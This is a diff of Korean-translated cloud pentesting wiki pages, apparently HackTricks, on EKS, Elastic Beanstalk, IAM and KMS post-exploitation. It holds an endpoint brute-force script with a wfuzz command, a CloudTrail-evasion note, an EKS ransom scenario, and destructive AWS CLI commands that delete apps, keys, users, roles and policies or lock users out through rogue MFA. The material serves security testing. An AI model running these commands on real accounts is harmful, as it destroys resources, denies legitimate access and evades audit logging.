bnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
contexts:
- context:
cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
kind: Config
preferences: {}
users:
- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
user:
exec:
apiVersion: client.authentication.k8s.io/v1beta1
args:
- --region
- us-west-2
- --profile
- <profile>
- eks
- get-token
- --cluster-name
- <cluster-name>
command: aws
env: null
interactiveMode: IfAvailable
provideClusterInfo: false
```
</details>
### Kubernetes에서 AWS로
The **creator** of the **EKS cluster** is **항상** kubernetes 클러스터의 **`system:masters`** 그룹(=k8s admin)에 접근할 수 있습니다. 이 문서 작성 시점에는 클러스터를 **누가 생성했는지** 직접 확인할 **방법이 없습니다** (CloudTrail을 확인할 수 있습니다). 그리고 그 **권한을 제거하는 방법도 없습니다**.
K8s에 대한 접근을 더 많은 AWS IAM 사용자나 역할에게 부여하는 방법은 **configmap** **`aws-auth`** 를 사용하는 것입니다.
> [!WARNING]
> 그러므로, config map **`aws-auth`**에 대한 **write access** 권한을 가진 누구든지 **compromise the whole cluster**할 수 있습니다.
For more information about how to **grant extra privileges to IAM roles & users** in the **same or different account** and how to **abuse** this to [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
Check also[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**.
### From Kubernetes to AWS
It's possible to allow an **OpenID authentication for kubernetes service account** to allow them to assume roles in AWS. Learn how [**this work in this page**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
### GET Api Server Endpoint from a JWT Token
Decoding the JWT token we get the cluster id & also the region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Knowing that the standard format for EKS url is
```bash
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
```
' two chars'와 'number'에 대한 기준을 설명하는 문서를 찾지 못했습니다. 하지만 제가 테스트해 본 결과 다음 값들이 반복되는 것을 확인했습니다:
- gr7
- yl4
어쨌든 3글자에 불과하므로 bruteforce할 수 있습니다. 아래 스크립트를 사용하여 목록을 생성하세요
```python
from itertools import product
from string import ascii_lowercase
letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
number_combinations = product('0123456789', repeat = 1)
result = [
f'{''.join(comb[0])}{comb[1][0]}'
for comb in product(letter_combinations, number_combinations)
]
with open('out.txt', 'w') as f:
f.write('\n'.join(result))
```
그런 다음 wfuzz로
```bash
wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
```
> [!WARNING]
> 교체해야 할 것을 기억하세요 & .
### CloudTrail 우회
공격자가 AWS에서 **EKS에 대한 권한을 가진** 자격증명을 획득한 경우, 공격자가 이전에 설명한 것처럼 자신의 **`kubeconfig`**를 (**`update-kubeconfig`**를 호출하지 않고) 구성하면, **`get-token`**은 AWS API와 상호작용하지 않기 때문에 Cloudtrail에 로그를 남기지 않습니다(로컬에서 토큰만 생성함).
따라서 공격자가 EKS 클러스터와 통신할 때, **cloudtrail은 도용된 사용자가 접근한 것과 관련된 어떤 것도 로그로 남기지 않습니다**.
참고로 **EKS 클러스터에 로그가 활성화되어 있을 수 있으며** 이 접근을 기록할 수 있습니다(기본적으로는 비활성화되어 있습니다).
### EKS 랜섬?
기본적으로 클러스터를 생성한 **사용자 또는 역할(user or role)**은 클러스터에 대해 **항상 관리자(admin) 권한을 갖습니다**. 그리고 그것이 AWS가 Kubernetes 클러스터에 대해 갖는 유일한 "보안된" 접근 방식입니다.
따라서, 만약 **공격자가 fargate를 사용해 클러스터를 침해**하고 **다른 모든 관리자들을 제거**하고 d**클러스터를 생성한 AWS 사용자/역할을 삭제**하면, ~~공격자가 **클러스터를 몸값으로 삼았을**~~**수 있다**.
> [!TIP]
> 클러스터가 **EC2 VMs**를 사용 중이었다면 **Node**에서 관리자 권한을 획득해 클러스터를 복구할 수 있을 가능성이 있습니다.
>
> 사실, 클러스터가 Fargate를 사용 중이라면 EC2 노드를 만들거나 모든 것을 EC2로 옮겨 노드의 토큰에 접근해 복구할 수 있습니다.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,70 +0,0 @@
# AWS - Elastic Beanstalk Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Elastic Beanstalk
자세한 정보:
{{#ref}}
../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}
### `elasticbeanstalk:DeleteApplicationVersion`
> [!NOTE]
> TODO: 더 많은 권한이 필요한지 테스트하기
`elasticbeanstalk:DeleteApplicationVersion` 권한을 가진 공격자는 **기존 애플리케이션 버전을 삭제**할 수 있습니다. 이 작업은 애플리케이션 배포 파이프라인을 방해하거나 특정 애플리케이션 버전이 백업되지 않은 경우 손실을 초래할 수 있습니다.
```bash
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
```
**잠재적 영향**: 애플리케이션 배포 중단 및 애플리케이션 버전 손실 가능성.
### `elasticbeanstalk:TerminateEnvironment`
> [!NOTE]
> TODO: 이 작업에 더 많은 권한이 필요한지 테스트
`elasticbeanstalk:TerminateEnvironment` 권한을 가진 공격자는 **기존 Elastic Beanstalk 환경을 종료**할 수 있으며, 이로 인해 애플리케이션의 다운타임이 발생하고 환경이 백업을 위해 구성되지 않은 경우 데이터 손실이 발생할 수 있습니다.
```bash
aws elasticbeanstalk terminate-environment --environment-name my-existing-env
```
**잠재적 영향**: 애플리케이션의 다운타임, 잠재적인 데이터 손실, 서비스 중단.
### `elasticbeanstalk:DeleteApplication`
> [!NOTE]
> TODO: 이 작업에 더 많은 권한이 필요한지 테스트하기
`elasticbeanstalk:DeleteApplication` 권한을 가진 공격자는 **전체 Elastic Beanstalk 애플리케이션을 삭제**할 수 있으며, 모든 버전과 환경이 포함됩니다. 이 작업은 백업되지 않은 경우 애플리케이션 리소스와 구성의 상당한 손실을 초래할 수 있습니다.
```bash
aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
```
**잠재적 영향**: 애플리케이션 리소스, 구성, 환경 및 애플리케이션 버전의 손실로 인해 서비스 중단 및 잠재적인 데이터 손실이 발생할 수 있습니다.
### `elasticbeanstalk:SwapEnvironmentCNAMEs`
> [!NOTE]
> TODO: 이 작업에 더 많은 권한이 필요한지 테스트하십시오.
`elasticbeanstalk:SwapEnvironmentCNAMEs` 권한을 가진 공격자는 **두 개의 Elastic Beanstalk 환경의 CNAME 레코드를 교환**할 수 있으며, 이로 인해 잘못된 버전의 애플리케이션이 사용자에게 제공되거나 의도하지 않은 동작이 발생할 수 있습니다.
```bash
aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
```
**잠재적 영향**: 잘못된 버전의 애플리케이션을 사용자에게 제공하거나 환경이 바뀌어 애플리케이션에서 의도하지 않은 동작을 유발할 수 있습니다.
### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
> [!NOTE]
> TODO: 이 작업에 더 많은 권한이 필요한지 테스트하기
`elasticbeanstalk:AddTags``elasticbeanstalk:RemoveTags` 권한을 가진 공격자는 **Elastic Beanstalk 리소스에 태그를 추가하거나 제거**할 수 있습니다. 이 작업은 잘못된 리소스 할당, 청구 또는 리소스 관리로 이어질 수 있습니다.
```bash
aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
```
**잠재적 영향**: 추가되거나 제거된 태그로 인한 잘못된 리소스 할당, 청구 또는 리소스 관리.
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,70 @@
# AWS - Elastic Beanstalk Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## Elastic Beanstalk
자세한 정보:
{{#ref}}
../../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}
### `elasticbeanstalk:DeleteApplicationVersion`
> [!NOTE]
> TODO: 이 작업에 더 많은 권한이 필요한지 테스트하세요
`elasticbeanstalk:DeleteApplicationVersion` 권한을 가진 공격자는 **기존 애플리케이션 버전을 삭제할 수 있습니다**. 이 작업은 애플리케이션 배포 파이프라인을 중단시키거나 백업이 없을 경우 특정 애플리케이션 버전의 손실을 초래할 수 있습니다.
```bash
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
```
**잠재적 영향**: 애플리케이션 배포 중단 및 애플리케이션 버전 손실 가능성.
### `elasticbeanstalk:TerminateEnvironment`
> [!NOTE]
> TODO: 더 많은 권한이 필요한지 테스트해야 함
권한 `elasticbeanstalk:TerminateEnvironment`을 가진 공격자는 **기존 Elastic Beanstalk 환경을 종료할 수 있으며**, 이로 인해 애플리케이션의 다운타임이 발생하고 환경이 백업으로 구성되어 있지 않다면 데이터 손실이 발생할 수 있습니다.
```bash
aws elasticbeanstalk terminate-environment --environment-name my-existing-env
```
**Potential Impact**: 애플리케이션의 다운타임, 잠재적인 데이터 손실 및 서비스 중단.
### `elasticbeanstalk:DeleteApplication`
> [!NOTE]
> TODO: 이 작업에 더 많은 권한이 필요한지 테스트해야 합니다
권한 `elasticbeanstalk:DeleteApplication`을(를) 가진 공격자는 **전체 Elastic Beanstalk 애플리케이션을 삭제할 수 있습니다**, 모든 버전 및 환경을 포함합니다. 백업되어 있지 않으면 이 작업은 애플리케이션 리소스 및 구성의 심각한 손실을 초래할 수 있습니다.
```bash
aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
```
**Potential Impact**: 애플리케이션 리소스, 구성, 환경 및 애플리케이션 버전의 손실로 서비스 중단 및 잠재적 데이터 손실을 초래할 수 있습니다.
### `elasticbeanstalk:SwapEnvironmentCNAMEs`
> [!NOTE]
> TODO: 이 작업에 더 많은 권한이 필요한지 테스트 필요
권한 `elasticbeanstalk:SwapEnvironmentCNAMEs`를 가진 공격자는 **두 Elastic Beanstalk 환경의 CNAME 레코드를 교환할 수** 있으며, 이로 인해 사용자에게 잘못된 애플리케이션 버전이 제공되거나 의도치 않은 동작이 발생할 수 있습니다.
```bash
aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
```
**잠재적 영향**: 환경이 교체되어 사용자에게 잘못된 애플리케이션 버전이 제공되거나 애플리케이션에 의도치 않은 동작이 발생할 수 있습니다.
### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
> [!NOTE]
> TODO: 이 작업에 더 많은 권한이 필요한지 테스트해야 합니다
`elasticbeanstalk:AddTags``elasticbeanstalk:RemoveTags` 권한을 가진 공격자는 **Elastic Beanstalk 리소스에 태그를 추가하거나 제거할 수 있습니다**. 이 작업은 잘못된 리소스 할당, 비용 청구 오류 또는 리소스 관리 문제로 이어질 수 있습니다.
```bash
aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
```
**잠재적 영향**: 태그가 추가되거나 제거되어 잘못된 리소스 할당, 청구 또는 리소스 관리 문제가 발생할 수 있습니다.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,166 +0,0 @@
# AWS - IAM 포스트 익스플로이테이션
{{#include ../../../banners/hacktricks-training.md}}
## IAM
For more information about IAM access:
{{#ref}}
../aws-services/aws-iam-enum.md
{{#endref}}
## Confused Deputy Problem
만약 당신이 **외부 계정(A)이** 당신 계정의 **role**에 접근하는 것을 **허용한다면**, 아마도 해당 **외부 계정에 정확히 누가 접근할 수 있는지에 대한 가시성은 0**일 것입니다. 이것은 문제가 되는데, 다른 외부 계정(B)이 외부 계정(A)에 접근할 수 있다면 **B도 당신의 계정에 접근할 수 있게 될 가능성**이 있기 때문입니다.
따라서, 외부 계정이 당신 계정의 role에 접근하도록 허용할 때 `ExternalId`를 지정할 수 있습니다. 이는 외부 계정(A)이 당신의 조직에서 role을 가정(assume the role in your organization)하기 위해 **명시해야 하는** "비밀" 문자열입니다. **외부 계정 B는 이 문자열을 알지 못하기 때문에**, 설령 B가 A에 대한 접근 권한을 가지고 있더라도 **당신의 role에 접근할 수 없습니다**.
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
하지만 이 `ExternalId` "비밀"은 **비밀이 아니다**는 점에 유의하세요. `IAM assume role policy`를 **읽을 수 있는 누구나 이 값을 볼 수 있습니다**. 그러나 외부 계정 A가 이 값을 알고 있고 외부 계정 **B는 모른다면**, 이는 **B가 A를 악용하여 당신의 role에 접근하는 것을 방지**합니다.
Example:
```json
{
"Version": "2012-10-17",
"Statement": {
"Effect": "Allow",
"Principal": {
"AWS": "Example Corp's AWS Account ID"
},
"Action": "sts:AssumeRole",
"Condition": {
"StringEquals": {
"sts:ExternalId": "12345"
}
}
}
}
```
> [!WARNING]
> 공격자가 confused deputy를 악용하려면 현재 계정의 principals가 다른 계정의 roles를 가장할 수 있는지 어떻게든 찾아야 한다.
### 예상치 못한 Trusts
#### principal로서의 와일드카드
```json
{
"Action": "sts:AssumeRole",
"Effect": "Allow",
"Principal": { "AWS": "*" }
}
```
이 정책은 **모든 AWS**가 해당 역할을 맡을 수 있도록 허용합니다.
#### 서비스가 주체인 경우
```json
{
"Action": "lambda:InvokeFunction",
"Effect": "Allow",
"Principal": { "Service": "apigateway.amazonaws.com" },
"Resource": "arn:aws:lambda:000000000000:function:foo"
}
```
이 정책은 **모든 계정**이 자신의 apigateway를 구성하여 이 Lambda를 호출할 수 있도록 허용합니다.
#### S3를 주체로
```json
"Condition": {
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
"StringEquals": {
"aws:SourceAccount": "123456789012"
}
}
```
만약 S3 bucket이 principal로 지정되어 있고 S3 bucket은 Account ID가 없으므로, 당신이 **deleted your bucket and the attacker created** it in their own account이라면 공격자가 이를 악용할 수 있습니다.
#### 지원되지 않음
```json
{
"Effect": "Allow",
"Principal": { "Service": "cloudtrail.amazonaws.com" },
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
}
```
A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources).
### 자격 증명 삭제
다음 권한 중 하나라도 있으면 — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — 행위자는 access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates 또는 CloudFront public keys를 삭제하거나 역할을 인스턴스 프로필에서 분리할 수 있습니다. 이러한 조치는 정당한 사용자와 애플리케이션의 접근을 즉시 차단하고, 해당 자격 증명에 의존하는 시스템에 대해 denial-of-service 또는 접근 상실을 초래할 수 있으므로, 이러한 IAM 권한은 엄격히 제한하고 모니터링해야 합니다.
```bash
# Remove Access Key of a user
aws iam delete-access-key \
--user-name <Username> \
--access-key-id AKIAIOSFODNN7EXAMPLE
## Remove ssh key of a user
aws iam delete-ssh-public-key \
--user-name <Username> \
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
```
### Identity Deletion
`iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, 또는 `iam:RemoveUserFromGroup` 같은 권한이 있으면, 행위자는 사용자, 역할, 그룹을 삭제하거나 그룹 멤버십을 변경하여 신원과 관련된 흔적을 제거할 수 있습니다. 이로 인해 해당 신원에 의존하는 사람과 서비스의 접근이 즉시 차단되어 denial-of-service 또는 접근 상실이 발생할 수 있으므로, 이러한 IAM 동작은 엄격히 제한되고 모니터링되어야 합니다.
```bash
# Delete a user
aws iam delete-user \
--user-name <Username>
# Delete a group
aws iam delete-group \
--group-name <Username>
# Delete a role
aws iam delete-role \
--role-name <Role>
```
###
다음 권한 중 하나라도 있으면 — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — 행위자는 관리형/인라인 정책을 삭제하거나 분리(detach)하고, 정책 버전이나 permissions boundaries를 제거하며, 사용자·그룹·롤에서 정책의 연결을 해제할 수 있습니다. 이는 권한을 파기하고 권한 모델을 변경하여 해당 정책에 의존하던 주체(principals)의 즉각적인 접근 상실이나 서비스 거부(denial-of-service)를 초래할 수 있으므로, 이러한 IAM 액션은 엄격히 제한되고 모니터링되어야 합니다.
```bash
# Delete a group policy
aws iam delete-group-policy \
--group-name <GroupName> \
--policy-name <PolicyName>
# Delete a role policy
aws iam delete-role-policy \
--role-name <RoleName> \
--policy-name <PolicyName>
```
### 연합 인증 삭제
With `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, and `iam:RemoveClientIDFromOpenIDConnectProvider`, 권한을 가진 행위자는 OIDC/SAML 인증 제공자를 삭제하거나 클라이언트 ID를 제거할 수 있다. 이는 연합 인증을 중단시켜 토큰 검증을 불가능하게 만들고 IdP 또는 설정이 복구될 때까지 SSO에 의존하는 사용자 및 서비스의 접근을 즉시 차단한다.
```bash
# Delete OIDCP provider
aws iam delete-open-id-connect-provider \
--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
# Delete SAML provider
aws iam delete-saml-provider \
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
```
### 무단 MFA 활성화
`iam:EnableMFADevice` 권한을 통해 공격자는 사용자 계정에 MFA 장치를 등록해 정당한 사용자가 로그인하지 못하게 할 수 있다. 무단 MFA가 활성화되면 장치가 제거되거나 재설정될 때까지 사용자가 로그인을 못하게 될 수 있다(참고: 여러 MFA 장치가 등록되어 있으면 로그인에는 하나만 필요하므로 이 공격은 접근 차단에는 영향을 주지 않는다).
```bash
aws iam enable-mfa-device \
--user-name <Username> \
--serial-number arn:aws:iam::111122223333:mfa/alice \
--authentication-code1 123456 \
--authentication-code2 789012
```
### Certificate/Key Metadata Tampering
With `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, 권한을 가진 행위자는 공개 키 및 인증서의 상태나 메타데이터를 변경할 수 있습니다. 키/인증서를 비활성화하거나 참조를 변경하면 SSH 인증을 무력화하고 X.509/TLS 검증을 무효화하며, 해당 자격증명에 의존하는 서비스를 즉시 중단시켜 접근 권한 상실이나 가용성 저하를 초래할 수 있습니다.
```bash
aws iam update-ssh-public-key \
--user-name <Username> \
--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
--status Inactive
aws iam update-server-certificate \
--server-certificate-name <Certificate_Name> \
--new-path /prod/
```
## 참고자료
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,166 @@
# AWS - IAM Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## IAM
IAM 접근에 대한 자세한 정보:
{{#ref}}
../../aws-services/aws-iam-enum.md
{{#endref}}
## Confused Deputy Problem
귀하의 계정에서 **외부 계정 (A)**이 **role**에 접근하도록 **허용하면**, 귀하는 **정확히 누가 해당 외부 계정에 접근할 수 있는지**에 대해 **사실상 가시성이 0**일 가능성이 큽니다. 이는 문제입니다. 왜냐하면 다른 외부 계정 (B)이 외부 계정 (A)에 접근할 수 있다면, **B가 귀하의 계정에도 접근할 수 있게 될 가능성**이 있기 때문입니다.
따라서 귀하의 계정에서 외부 계정이 role에 접근하도록 허용할 때 `ExternalId`를 지정할 수 있습니다. 이것은 외부 계정 (A)이 귀하 조직에서 **assume the role in your organization** 하기 위해 **지정해야 하는** "비밀" 문자열입니다. **외부 계정 B가 이 문자열을 모르면**, 설령 B가 A에 대한 접근 권한을 가지고 있더라도 **귀하의 role에 접근할 수 없습니다**.
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
다만 이 `ExternalId` "비밀"은 **비밀이 아니다**는 점을 유의하세요. `IAM assume role policy`를 **읽을 수 있는 누구나 이 값을 볼 수 있습니다**. 하지만 외부 계정 A가 이것을 알고 있고 외부 계정 **B는 모르는** 상태라면, 이는 **B가 A를 악용해 귀하의 role에 접근하는 것을 방지**합니다.
예:
```json
{
"Version": "2012-10-17",
"Statement": {
"Effect": "Allow",
"Principal": {
"AWS": "Example Corp's AWS Account ID"
},
"Action": "sts:AssumeRole",
"Condition": {
"StringEquals": {
"sts:ExternalId": "12345"
}
}
}
}
```
> [!WARNING]
> 공격자가 confused deputy를 악용하려면 현재 계정의 principals가 다른 계정의 roles를 가장할 수 있는지 어떻게든 찾아내야 한다.
### 예기치 않은 Trusts
#### 와일드카드를 principal로
```json
{
"Action": "sts:AssumeRole",
"Effect": "Allow",
"Principal": { "AWS": "*" }
}
```
이 정책은 **모든 AWS**가 역할을 맡도록 허용합니다.
#### 서비스가 주체(principal)인 경우
```json
{
"Action": "lambda:InvokeFunction",
"Effect": "Allow",
"Principal": { "Service": "apigateway.amazonaws.com" },
"Resource": "arn:aws:lambda:000000000000:function:foo"
}
```
이 정책은 **어떤 계정이든** apigateway를 구성하여 이 Lambda를 호출하도록 허용합니다.
#### S3를 주체로
```json
"Condition": {
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
"StringEquals": {
"aws:SourceAccount": "123456789012"
}
}
```
S3 bucket이 principal로 지정된 경우, S3 buckets에는 Account ID가 없기 때문에, 만약 당신이 **deleted your bucket and the attacker created** 그 버킷을 자신의 계정에 생성했다면, 공격자가 이를 악용할 수 있습니다.
#### 지원되지 않음
```json
{
"Effect": "Allow",
"Principal": { "Service": "cloudtrail.amazonaws.com" },
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
}
```
A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **일부 서비스는 이를 지원하지 않을 수 있습니다** (예: 일부 출처에 따르면 CloudTrail).
### 자격 증명 삭제
With any of the following permissions — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — an actor can remove access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates or CloudFront public keys, or disassociate roles from instance profiles. Such actions can immediately block legitimate users and applications and cause denial-of-service or loss of access for systems that depend on those credentials, so these IAM permissions must be tightly restricted and monitored.
```bash
# Remove Access Key of a user
aws iam delete-access-key \
--user-name <Username> \
--access-key-id AKIAIOSFODNN7EXAMPLE
## Remove ssh key of a user
aws iam delete-ssh-public-key \
--user-name <Username> \
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
```
### 아이덴티티 삭제
`iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, 또는 `iam:RemoveUserFromGroup` 같은 권한이 있으면 행위자는 사용자, 역할, 그룹을 삭제하거나—또는 그룹 멤버십을 변경해—아이덴티티와 관련된 흔적을 제거할 수 있습니다. 이는 해당 아이덴티티에 의존하는 사람과 서비스의 접근을 즉시 차단해 denial-of-service 또는 접근 상실을 초래할 수 있으므로 이러한 IAM actions는 엄격히 제한하고 모니터링해야 합니다.
```bash
# Delete a user
aws iam delete-user \
--user-name <Username>
# Delete a group
aws iam delete-group \
--group-name <Username>
# Delete a role
aws iam delete-role \
--role-name <Role>
```
###
다음 권한 중 하나라도 있으면 — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — 행위자는 관리형/인라인 정책을 삭제하거나 분리(detach)하고, 정책 버전이나 권한 경계(permissions boundaries)를 제거하거나 사용자·그룹·역할에서 정책의 연결을 해제(unlink)할 수 있습니다. 이는 권한을 무력화하고 권한 모델을 변경하여 해당 정책에 의존하던 주체들이 즉시 접근을 잃거나 서비스 거부(denial-of-service)를 겪을 수 있으므로, 이러한 IAM 작업은 엄격히 제한되고 모니터링되어야 합니다.
```bash
# Delete a group policy
aws iam delete-group-policy \
--group-name <GroupName> \
--policy-name <PolicyName>
# Delete a role policy
aws iam delete-role-policy \
--role-name <RoleName> \
--policy-name <PolicyName>
```
### 연합 신원 삭제
`iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, 및 `iam:RemoveClientIDFromOpenIDConnectProvider` 권한을 가진 행위자는 OIDC/SAML ID 공급자를 삭제하거나 클라이언트 ID를 제거할 수 있습니다. 이는 연합 인증을 중단시켜 토큰 검증을 방해하고 IdP 또는 구성이 복구될 때까지 SSO에 의존하는 사용자와 서비스의 접근을 즉시 차단합니다.
```bash
# Delete OIDCP provider
aws iam delete-open-id-connect-provider \
--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
# Delete SAML provider
aws iam delete-saml-provider \
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
```
### 불법적인 MFA 활성화
`iam:EnableMFADevice` 권한으로 공격자는 사용자 계정에 MFA 디바이스를 등록하여 정당한 사용자의 로그인을 방해할 수 있다. 승인되지 않은 MFA가 활성화되면 해당 디바이스가 제거되거나 재설정될 때까지 사용자는 계정에 접근하지 못할 수 있다 (참고: 여러 개의 MFA 디바이스가 등록된 경우 로그인에는 단 하나만 필요하므로 이 공격은 접근 차단에 영향을 주지 않는다).
```bash
aws iam enable-mfa-device \
--user-name <Username> \
--serial-number arn:aws:iam::111122223333:mfa/alice \
--authentication-code1 123456 \
--authentication-code2 789012
```
### 인증서/키 메타데이터 변조
With `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, 공격자는 공개 키 및 인증서의 상태나 메타데이터를 변경할 수 있다. 키/인증서를 비활성으로 표시하거나 참조를 변경하면 SSH 인증을 중단시키거나 X.509/TLS 검증을 무효화하고, 해당 자격증명에 의존하는 서비스를 즉시 중단시켜 접근 또는 가용성 상실을 초래할 수 있다.
```bash
aws iam update-ssh-public-key \
--user-name <Username> \
--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
--status Inactive
aws iam update-server-certificate \
--server-certificate-name <Certificate_Name> \
--new-path /prod/
```
## 참고 자료
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,182 +0,0 @@
# AWS - KMS Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## KMS
For more information check:
{{#ref}}
../aws-services/aws-kms-enum.md
{{#endref}}
### Encrypt/Decrypt information
`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
- `fileb://:`는 파일을 바이너리 모드로 읽습니다. 일반적으로 텍스트가 아닌 파일에 사용됩니다.
- `file://:`는 파일을 텍스트 모드로 읽습니다. 일반적으로 일반 텍스트 파일, 스크립트 또는 특별한 인코딩 요구사항이 없는 JSON에 사용됩니다.
> [!TIP]
> 파일 내의 데이터를 decrypt하려면, 파일에는 base64로 인코딩된 데이터가 아니라 바이너리 데이터가 포함되어야 합니다. (fileb://)
- **symmetric** 키를 사용하는 경우
```bash
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
